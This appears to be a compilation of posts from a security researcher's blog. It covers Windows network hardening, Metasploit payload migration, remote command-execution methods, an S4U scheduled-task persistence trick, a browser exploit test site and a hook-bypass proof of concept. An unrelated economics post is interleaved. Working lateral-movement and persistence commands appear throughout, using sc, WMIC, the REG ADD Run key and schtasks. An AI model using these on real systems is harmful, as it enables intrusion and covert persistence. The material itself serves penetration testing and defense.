First, a good understanding of how attackers actually break security barriers is necessary. I broke down the different levels of access into the following order: local user, local admin, lateral movement, and domain admin, along with internal network and internal server. To obtain any new level of access requires breaking a security barrier, provides a higher privilege level, and provides higher levels of access to critical data and systems; the objective for attackers.

The following graph summarizes the playbook to gain and escalate privileges on a primarily Windows network, the most common of which are in bold:

I went over these in greater detail in the talk, but I want to concentrate on how to stop them for this blog post.

Just as critical as access methods for attackers are methods of delivering attacks and getting data into and out of a network without being caught. A wide variety of control and data exfiltration methods have been used, and can basically be summarized as any way your systems and users can communicate with the outside world, attackers can use as well.

So how can you stop this from happening? By doing the following:

1. Isolate your network. The gold standard is to air-gap your network from the internet, disable the USB driver, and enforce strong physical security.

Failing that, block direct communication out from all your workstations and servers via firewalls, forcing the use of proxies that whitelist every aspect of communication you can:


2. Never use passwords.

Despite the fact that they are the easiest to implement and therefore default authentication method for everything, passwords should be considered pure evil on your network. They can only provide a false sense of security, and they break down about 1000 different ways:

• Your admins will leave them lying around in scripts and shared drives that attackers will find.
• They will be dumped from memory by mimikatz and similar tools.
• They will be keylogged.
• They will be guessed since your users will choose predictable passwords.
• They will be forgotten by users and then made easy to reset by an attacker.
• Users and admins will save them in password documents since they can’t remember them.
• When anyone clicks a phishing link, they won’t inspect the URL and will enter their passwords into a page that looks like a real login or give them up to someone who sounds like tech support on the phone.
• Everyone will re-use them so that anyone who finds the next RockYou password dump posted to pastebin or compromises a user’s home computer and gets their Facebook password will also have access to your network. It is easy to ignore this vector, since your pentesters will never hack your users’ home computers, but real attackers do not care.
• If an attacker can see the network traffic of a user authenticating, which can be done by a simple website with NTLM authentication, that challenge-response authentication can be cracked offline at high speed.
• An attacker without any access to your network can cause great pain and suffering locking out all your accounts by entering invalid credentials. If that is not the case, the attacker will be able to attempt high-speed online brute force password guessing and compromise many accounts. You can’t win.
• Passwords provide a huge window of exposure, as whenever compromised, they can be abused forever, or at least for months until the next forced password change.
• But worst of all, their hashes will be stored en mass and can be re-used just like passwords. If an attacker can get some level of admin privileges for just a moment, he will dump every hash database he can get access to. He will then be able to impersonate any of those users whenever he wants to by passing the hash, spreading across your network and owning all your systems and data.


Passwords are pretty much the devil


All of these problems with passwords can be solved with the following rules:
• Force smart card logon for all users and admins
• Force Kerberos by denying all incoming NTLM
• Deny network and RDP logon to any non-smart card accounts

If these suggestions are implemented, they will solve the above problems. They will completely prevent passing-the-hash; hashes will never be used. There will be no hash/private credential database to steal in bulk. Private keys remain in the smart card and cannot be keylogged or stolen out of memory. Users cannot re-use or choose weak passwords that can be cracked, guessed, or bruteforced, and users cannot give them up to social engineers over the telephone or web. Admins cannot leave passwords in shared drives or scripts. It’s easier on users’ memory. Only active logons can be hijacked, only temporarily (tickets are only good for up to 10 hours), and only by attackers with SYSTEM-level access on a system that your administrators log into interactively. Credential exposure is dramatically smaller, and by isolating your admins’ workstations and using remote management tools that do not leave reusable credentials on remotely managed systems, it can be effectively mitigated. As an added bonus, NTLM relaying will also not be possible.

3. Whitelist all executable code.

Don’t allow any code to run unless you or someone you trust has approved it. Whitelist all executables, and lock down scripts, like powershell, vbs, and bat files. This breaks the persistence mechanisms of every public attack toolkit out there, as well as most methods of lateral movement, etc.

4. Use strong exploit mitigations.

Force full mandatory DEP (AlwaysOn) and full mandatory ASLR on all modules via the registry. This can break things, but it will also break most memory corruption exploits. EMET can add additional mitigations, and other attacks can be mitigated by disabling vulnerable addons, like Java.

5. VM-isolate target applications.

Stronger than exploit mitigations is putting your applications that are likely to be attacked, such as document editors and viewers and browsers, into a VM sandbox. You can do this with some commercial products, or by rolling your own with seamless desktop integration and desktop VM software.

6. Don’t use file shares.

Windows shares and shared drives are basically a hacker’s dream. They were designed long ago with apparently little concern for security, and hackers will easily use them to spread to different systems and escalate privileges:

• Executable planting: Literally anything you double-click on a shared drive could be an executable with the name and icon of a document or folder and will give attackers access to your system.
• Shortcut hijacking: Any shortcut file can spawn a full command line, not only opening whatever program or document you intend, but also spawning a malware executable or script that will infect your system. So any shortcut you can edit on a shared drive is a method to infect anyone who clicks on it.
• DLL preloading: Even if you show file extensions and verify you are double-clicking on a legitimate file, many if not most applications use insecure library loading and will execute code in a DLL that just happens to have the right name.
• Script infecting: Any script that is run from a shared drive could be infected by a user with write access, owning every system it is run on.

So what can you do about this? Don’t use shared drives as a way for your users to share files. Instead use a web content management system (CMS) such as WordPress, Joomla, SharePoint, or MediaWiki. In contrast with accessing shared drives, accessing a CMS is like accessing a website; your computer is not designed to trust it, won’t automatically load DLL’s from it, and your browser will clearly show you what file type you are downloading and warn you before you run something you don’t intend to.

Having said that, shared drives that only admins can write to are still OK, and network drives that only one user can access, such as home drives are also still OK, since they do not introduce holes in any security barrier.

So go forth and build secure networks. Put in a little extra work up front, and don’t fall for the easy defaults; you will regret it in the end.

The new home for the msfgui source code will be https://github.com/scriptjunkie/msfgui – if you can use git, checking out that repository will be the best way of keeping an up-to-date copy.

Msfgui is now available in an installer for Windows. It will still integrate directly with Metasploit, and if you do have Metasploit enabled as a service, should connect without any hassle on any platform. I do not have an updater for Windows. The windows installer can be downloaded from here: https://github.com/scriptjunkie/msfgui/blob/master/msfgui-installer.exe?raw=true

The past three years have seen msfgui provide a solid interface, expand in capabilities, and be used world-wide, even in languages I can’t even identify. With any luck, the next few years will bring even more!

Often, exploited processes are simply unstable; after smashing the heap or some other data structures, the process crashes not long after starting the shellcode. Sometimes the process freezes and the user exits the program just because it isn’t working. Sometimes the program just exits normally. I ran into this issue when injecting a payload to existing command-line executables that exited quickly, like ipconfig. They would spawn off the payload in a new thread, but would exit before I even saw a connection. In any case, it’s bad news for the pentester. As a result, a lot of exploits in Metasploit set a default AutoRunScript to “migrate -f” and migrate out of the process as soon as a session is established.

But it can take too long to even get to that point, even for the most basic reverse/bind meterpreter. To get there, the shellcode may load some DLL’s, must establish the network connection, transfer either 750k or 950k of meterpreter DLL, reflectively load and initialize that, load any extensions, and establish an SSL session. Only then does the controller execute the migrate script, which only actually moves to the new process on the 5th remote procedure call. The entire process may complete in a few seconds over a high speed, low latency link, but since it requires at least 8 complete round-trips and significant data transfer, there is no guarantee of success if it is happening in a process that might soon exit or crash. It would be a lot nicer to simply start the shellcode in a new process, without waiting for any of that and escape immediately.

As far as I can tell, corelanc0d3r was the first to write a shellcode-migrating stub, here. I wrote a different version, with a few improvements, such as avoiding any delay and implementation for x64. After a number of revisions with the Metasploit team increasing flexibility and decreasing size, it finally landed in the main tree a couple of weeks ago. To use it, just set the PrependMigrate option to true:

Payload advanced options (windows/meterpreter/reverse_tcp):

...

   Name           : InitialAutoRunScript
   Current Setting: migrate -f
   Description    : An initial script to run on session creation (before 
      AutoRunScript)

   Name           : PrependMigrate
   Current Setting: false
   Description    : Spawns and runs shellcode in new process

   Name           : PrependMigrateProc
   Current Setting: 
   Description    : Process to spawn and run shellcode in

And it will take closer to 0.01 seconds than 10 seconds to escape the process once your shellcode starts. Enjoy your shells!

So we elect those into office who will fix these problems. And those who disagree are labelled heartless and corrupt, putting the interests of the big and rich over the poor and helpless. But it’s not true.

Economics in One Lesson is one of the best things I’ve ever read that explains how this stuff actually works in a way that’s really interesting (at least to me). So please, put down your article about Lady Gaga and take a few hours to read this, or maybe half of it. Then like me, you’ll probably think it’s interesting and finish reading anyway or at least you’ll understand basic facts about life and I won’t be worried when you vote.

So here it is, read it: http://library.mises.org/books/Henry%20Hazlitt/Economics%20in%20One%20Lesson.pdf

1. Service Control Manager (SCM)
This method is used by psexec and all of its clones to start the executable that psexec creates.
Result:
A command to be run on demand and/or boot as SYSTEM (or less privileged accounts, but why would you do that?).
Example:
step 1/2; a new service can be created:
sc REMOTECOMPUTERNAME create myservicename binPath= executableToRun start= auto
alternatively, an existing service can be reconfigured:
sc REMOTECOMPUTERNAME config existingservice binPath= executableToRun start= auto
step 2/2; executableToRun will run on the remote system on boot as SYSTEM, or when instructed by:
sc REMOTECOMPUTERNAME start myservicename
variants exist for specifying DLL to load instead of executable, etc.
Implementation details:
Writing to the svcctl named pipe (a.k.a. srvsvc) on remote computer over SMB. (TCP port 139 or 445 owned by kernel, forwarded to srvsvc pipe)
srvsvc pipe hosted by Server service in svchost.exe running as SYSTEM.

2. Task scheduler
Result:
A command to be run at designated time(s) as SYSTEM.
Example:
AT \\REMOTECOMPUTERNAME 12:34 "command to run"
Implementation details:
Writing to atsvc named pipe on remote computer over SMB. (TCP port 139 or 445 owned by kernel, forwarded to atsvc pipe)
atsvc pipe hosted by Task Scheduler (Schedule) service in svchost.exe running as SYSTEM.

3. WMI
Result:
An immediate command execution under the administrative account used.
Example:
WMIC /node:REMOTECOMPUTERNAME PROCESS call create "command to run"
Implementation details:
Connecting to remote procedure call interface (RpcSs service in svchost.exe directly listening on TCP port 135)

4. Remote Registry
Result:
A command to be run or DLL to be loaded when specific events occur, such as boot or login or process execution, as active user or SYSTEM.
Example:
REG ADD \\REMOTECOMPUTERNAME\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "command to run"
Command will run every time a user logs in as the user. Other options include creating or modifying services which can run as SYSTEM on the next reboot, loading a DLL into most new processes with the AppInit_DLLs registry value, using IFEO to hijack different commands, and many more.
Implementation Details:
Writing to the winreg named pipe on remote computer over SMB. (TCP port 139 or 445 owned by kernel, forwarded to winreg pipe)
The winreg pipe is hosted by Remote Registry service in svchost.exe

5. Remote File Access
Result:
An executable will be run or DLL will be loaded when specific events occur, such as boot or login or process execution, as active user or SYSTEM.
Example:
xcopy executabletorun.exe "\\REMOTECOMPUTERNAME\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\e.exe"
Command will run every time a user logs in as the user. Other options include DLL hijacks or writing an MOF to the %WINDOWS%\system32\wbem\mof that will be executed automatically by WMI in older OS’s.
Implementation Details:
Writing to remote administrative shares using SMB. (TCP port 139 or 445 owned by kernel)

6. Remote Desktop
Best known for interactive GUI logins, the remote desktop protocol also allows for direct command execution.
Result:
Interactive desktop access and/or command execution with the privileges of the user account used.
Example:
rdesktop 1.2.3.4
Opens an interactive remote desktop session.
Implementation Details:
Hosted by the TermService service (“Remote Desktop Services”) in svchost.exe by a server socket listening on TCP port 3389.

7. Windows Remote Management
Note: this is not enabled by default! But it is common enough, and the capability is built-in to recent Windows versions. Often used through powershell.
Result:
Immediate command execution under the administrative account used.
Example:
winrs -r:REMOTECOMPUTERNAME command to run
Implementation Details:
Hosted by Windows Remote Management service (svchost.exe), listens on TCP/80 or TCP/5985 and can share port with IIS.

Honorable mentions:
VNC, SCCM, SSH, and a lot of third party software. Any of your favorites I am missing? Let me know.

I don’t know whether this is due to ignorance on the part of the authors, or if so few systems run for any significant period of time without the main user being logged in that the authors don’t care, or maybe most limited user accounts don’t have the requisite permissions or administrative permissions are just too easy to get. But there are many UAC-protected or shared systems in many homes and businesses and a huge number of backdoors that are now written to run under limited user accounts.

So how do you do it? First, create a scheduled task to run your command with default options as the current user (this will by default create a scheduled task that only runs when you are logged in):

schtasks /create /tn mytask /SC HOURLY /TR "calc"

Then export the task as XML:

schtasks /query /XML /tn mytask > temp.xml

and delete the task:

schtasks /delete /tn mytask /f

Then open the xml file, and replace the line
<LogonType>InteractiveToken</LogonType>
with
<LogonType>S4U</LogonType>

This can be done with the following commands assuming powershell is on the system:
powershell -Command "Get-Content '.\temp.xml' | foreach {$_ -replace 'InteractiveToken', 'S4U' }" > new.xml
move /y new.xml temp.xml

Now recreate the task from the modified XML file:

schtasks /create /xml temp.xml /tn mytasks

and remove your temp file:

del /f /q temp.xml

Your task will now run in the background every hour regardless of whether you are logged on. Since it will not run interactively, it will not have the cached credentials that an interactive logon will have, so you may not be able to access all of the network resources you were able to before, but you will be running!

What this does is use the Service-for-User or S4U logon type (See http://technet.microsoft.com/en-us/library/cc722152.aspx and http://msdn.microsoft.com/en-us/magazine/cc188757.aspx for an in-depth discussion of S4U from the perspective of Kerberos). The system must be at least Windows Vista to schedule these types of tasks, and the “Logon as batch job policy” must be set for the user. On a Windows 7 Home Premium test system, this was the case for a non-UAC elevated admin, but not for a limited user by default. Of course every Windows domain could be different, so check first before you rely on it.

And enjoy running your scheduled scripts whenever you want, even if you cannot or do not want to elevate to administrative permissions. Also, if you make software that requires administrative permissions to install, please make it work as a limited user; there really are not many excuses left.

I was inspired by some of the free browser vulnerability checkers out there, such as the Firefox plugin check or the Rapid7 browser scan, so I thought I’d put together a little bit of a different version. Nothing quite drives the point home like running through all the steps and demonstrating a compromise with a real exploit kit (without the evil), so I put together my own, based on Metasploit’s browser autopwn. It will launch the automatic exploits and even spawn a couple social engineering attacks after a minute if those fail, so you could even use it as a risk-free test for a friend or family member.

So as you visit your relatives this Christmas, feel free to give attacktest.com a try and see if they are vulnerable to the most common exploits available. You might also see if their security software of choice detects the attacks; since these are all public, off-the-shelf exploits, they might get stopped by an antivirus. (which doesn’t mean you aren’t vulnerable, of course) If any of the attacks do work, it’ll show you a screenshot it took, but it won’t leave any backdoors on your system or read documents or other files. Of course, if you’re paranoid, feel free to reverse engineer them, but you can trust me.

Enjoy!

On the attack side, I demonstrated Hoarder, which is a proof of concept to bypass standard hook-based host intrusion prevention systems by avoiding making any calls to OS DLLs at all, and only making raw syscalls to the kernel. It works in two steps. First, the getdlls program opens the target executable and recursively reads it and all of its required DLLs into C language byte arrays. It then identifies all of the required DLL aliases and generates source code for the loader to know how to connect the DLLs.

In the second step, the sources generated need to be compiled with the rest of the hoarder sources into the final product. These include a small bit of assembly to make a direct syscall to allocate memory and a modified version of Stephen Fewer’s Reflective Loader to handle the DLL loading, such as section mapping, export forwarding, and relocating if necessary. These have been carefully written along with the required data structures to not make any external function calls. A lot of unusual compilation settings were also used to avoid any boilerplate compiler-inserted code or other standard libraries that would end up calling external DLLs. To do this with your own projects in MSVC, you will need to turn off C++ exceptions, turn off any optimization that will use functions like memset for example, and not use a WinMain or main method, but instead manually set the entry point to your own start function.

You now effectively have a completely statically compiled executable on Windows.

[insert applause here]
But wait, don’t get too excited just yet – Hoarder still won’t invalidate Ambush or user-mode hooks in general:
First, right now this only works on toy examples, and many difficulties remain before using it on real malware. Any operation that relies on the Process Environment Block and associated data structures matching the DLLs that are loaded into memory will break, as well as any operation that relies on the modules actually mapping to real file handles, or other details that happen with a real loader. This includes most programs’ functionality. In fact, I had to disable even calling the DllMain methods of the loaded DLLs to avoid crashing. This means that all the global variables and other initialization code was also messed up, breaking everything but the simplest functions. Even if those concerns were addressed, without a dramatic amount of work, the hoarded executable will be tied to a specific OS version, architecture, and service pack because otherwise the syscalls will be wrong. All this means that almost any real program will still have serious issues. Hoarder ended up being a learning exercise illustrating just how difficult it really is to avoid making DLL function calls. From an attack perspective, I am still interested in seeing whether the above can be addressed, but it will clearly be a major effort. So in the meantime, Ambush will remain effective against the entire spectrum of attacks and malware behavior. If we take into consideration the research done in “A Scientific (But Non Academic) Study of How Malware Employs Anti-Debugging, Anti-Disassembly and Anti-Virtualization Technologies,” the fact that the overwhelming majority of malware out there does not even implement defenses against existing hooks, Ambush should remain effective against most malware long into the future.

Second, even if a complete hoarder is finished, Ambush will remain an effective defense against first-stage attacks, including shellcode. As I pointed out in the talk, we are slowly seeing the decline of memory corruption exploits in real attacks. For example, three out of four of the zero-days that Stuxnet used were non-memory corruption exploits, along with the vaunted Flame-dropping exploit and all of the recent Java 0days. Without directly executing shellcode, an attacker cannot simply make direct syscalls or avoid hooks. Even if an exploit is used that leads to direct native shellcode execution, although syscalls hypothetically could be used, the inherent complexity and platform-specificity of them makes direct-syscall shellcode unlikely. It is a lot of work to attempt to re-implement functionality such as downloading and executing a file with syscalls.

Third, Ambush will remain effective as a platform for distributing signatures to block exploits. If details of the vulnerability are known, Ambush can usually be used to prevent exploits themselves, or get an alert when one is attempted even if a patch has been applied. This once again lets you extend your ability to detect attempted compromises.

As always, send me a note if you are interested in using or working on any of the above.

For your beginning-of-2010 vulnerable system you should have:
IE 8 with MS09-072/KB294871 update http://support.microsoft.com/kb/294871
Flash player 10.0.32.18
http://www.oldversion.com/download-Macromedia-Flash-Player-10.0.32.18.html
Java SE 6 Update 17
http://www.oldversion.com/download-Java-Platform-Java-6-Update-17.html
Acrobat Reader 9.2
http://www.oldversion.com/download-Acrobat-Reader-9.2.html

For beginning-of-2011 you should have:
IE 8 with MS10-090/KB2416400 update http://support.microsoft.com/kb/2416400
Flash player 10.1
http://www.oldversion.com/download-Macromedia-Flash-Player-10.1-%28Non-IE-Browsers%29.html
Java SE 6 Update 23
http://www.oldversion.com/download-Java-Platform-Java-6-Update-23.html
Acrobat Reader 10.0
http://www.oldversion.com/download-Acrobat-Reader-10.0.0.html
or 9.5.0
http://www.oldversion.com/download-Acrobat-Reader-9.5.0.html

For beginning-of-2012 you should have:
IE 8 (most popular) or 9 with MS11-099/KB2618444 update http://support.microsoft.com/kb/2618444
Flash player 11.1.102.55
http://www.oldversion.com/download-Macromedia-Flash-Player-11.1.102.55-%2832-bit%29-%28Non-IE%29.html
Java SE 6 Update 30
http://www.oldversion.com/download-Java-Platform-Java-6-Update-30.html
Acrobat Reader 10.1.1
http://www.oldversion.com/download-Acrobat-Reader-10.1.1.html

How many will work with shellcode, say 500 bytes long?

$ grep -rn "'Space'" /opt/metasploit/msf3/modules/exploits/windows/ | awk '-FS' '{print $2}' | awk '-F>' '{print $2}' | awk -F, '{print $1}' | sort | ruby -e '$stdin.each {|line| puts(500 <= eval(line)) }' | sort -n | uniq -c
82 false
510 true


How much space do all the exploits allow for?

$ grep -rn "'Space'" /opt/metasploit/msf3/modules/exploits/windows/ | awk '-FS' '{print $2}' | awk '-F>' '{print $2}' | awk -F, '{print $1}' | sort | ruby -e '$stdin.each {|line| puts(eval(line)) }' | sort -n | uniq -c
1 148
1 160
1 164
1 210
1 212
1 213
1 228
1 236
5 250
1 253
3 256
1 260
1 284
1 296
3 300
2 336
1 344
1 350
2 370
1 380
1 382
1 384
1 392
26 400
1 407
1 417
2 424
1 434
1 440
7 450
1 460
1 469
1 472
2 476
2 480
2 490
1 498
35 500
25 512
1 526
12 550
26 600
1 614
1 632
1 636
1 640
10 650
1 674
1 698
8 700
1 710
1 728
22 750
1 768
38 800
1 830
4 850
1 870
1 880
1 896
5 900
3 936
1 950
1 962
1 970
1 979
1 987
58 1000
2 1012
2 1014
141 1024
1 1026
1 1104
1 1200
1 1216
1 1321
1 1456
1 1500
1 1508
1 1800
1 1871
1 1900
12 2000
36 2048
2 2052
2 2339
4 3000
1 3500
9 4000
3 4096
1 4100
1 4108
1 4150
1 4500
1 4658
1 4720
1 4724
3 5000
1 5100
1 6000
4 8000
1 10240
2 20480
1 32767


I needed to use ruby to eval the line since some of the exploits included expressions calculating exactly how large a shellcode could fit, such as "'Space' => ((1024*2)+4)," Unfortunately for those writing large shellcodes, many of those are not very specific. A lot of developers (I'm guilty too) just put in nice round numbers like 500 or 1000 and didn't test to see just how large a shellcode could actually be fit in. Frustratingly, some exploits even include random numbers in their space calculation: "'Space' => 1024 + (rand(1000)),". This is because the framework will pad payloads with nops to get them to fill the full space, and the developers wanted more randomness for evasion. I think it would make more sense if the number of nops were decided somewhere else. Who wants to rewrite a bunch of exploits?